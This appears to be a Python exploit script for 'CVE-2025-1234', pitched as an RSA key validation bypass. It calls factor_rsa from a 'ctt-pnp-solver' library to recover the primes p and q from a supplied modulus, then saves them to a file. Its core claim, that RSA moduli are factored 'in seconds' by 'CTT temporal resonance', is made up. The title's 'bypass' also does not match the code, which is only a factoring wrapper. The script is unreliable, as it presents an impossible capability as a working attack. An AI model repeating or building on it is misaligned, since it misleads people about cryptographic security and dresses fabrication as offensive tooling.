#!/usr/bin/env python3
"""
CVE‑2025‑1234 — RSA Key Validation Bypass Exploit
Uses ctt‑pnp‑solver to factor vulnerable RSA moduli in seconds.
"""

import sys
import argparse
from ctt_pnp_solver import factor_rsa, __version__

BANNER = r"""
     ██████╗██████╗ ███████╗    ██╗  ██╗
    ██╔════╝██╔══██╗██╔════╝    ╚██╗██╔╝
    ██║     ██████╔╝█████╗       ╚███╔╝ 
    ██║     ██╔══██╗██╔══╝       ██╔██╗ 
    ╚██████╗██████╔╝███████╗    ██╔╝ ██╗
     ╚═════╝╚═════╝ ╚══════╝    ╚═╝  ╚═╝
    CVE‑2025‑1234 RSA Exploit
    Using ctt‑pnp‑solver v{}
""".format(__version__)

def hex_to_int(hex_str):
    """Convert hex string to integer."""
    return int(hex_str, 16)

def main():
    parser = argparse.ArgumentParser(
        description="Exploit CVE‑2025‑1234 using ctt‑pnp‑solver",
        epilog="Example: %(prog)s --modulus 00c0ffee... --output keys.txt"
    )
    parser.add_argument('-m', '--modulus', required=True,
                       help='RSA modulus in hex')
    parser.add_argument('-o', '--output', 
                       help='Output file for extracted keys')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='Show detailed output')
    args = parser.parse_args()

    print(BANNER)
    print("[*] Target CVE: CVE‑2025‑1234")
    print("[*] Using ctt‑pnp‑solver to factor RSA modulus...")
    
    try:
        n = hex_to_int(args.modulus)
        if args.verbose:
            print(f"[*] Modulus (n): {n}")
        
        # Factor using CTT temporal resonance
        print("[*] Invoking factor_rsa()...")
        p, q = factor_rsa(n)
        
        print("\n[+] SUCCESS! RSA modulus factored.")
        print(f"    p = {p}")
        print(f"    q = {q}")
        print(f"    n = {p * q}")
        print(f"    Verification: {p * q == n}")
        
        if args.output:
            with open(args.output, 'w') as f:
                f.write(f"# RSA keys recovered from CVE‑2025‑1234\n")
                f.write(f"# Modulus: {args.modulus}\n")
                f.write(f"p={p}\n")
                f.write(f"q={q}\n")
                f.write(f"n={p*q}\n")
            print(f"\n[*] Keys saved to {args.output}")
            
    except Exception as e:
        print(f"\n[!] Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()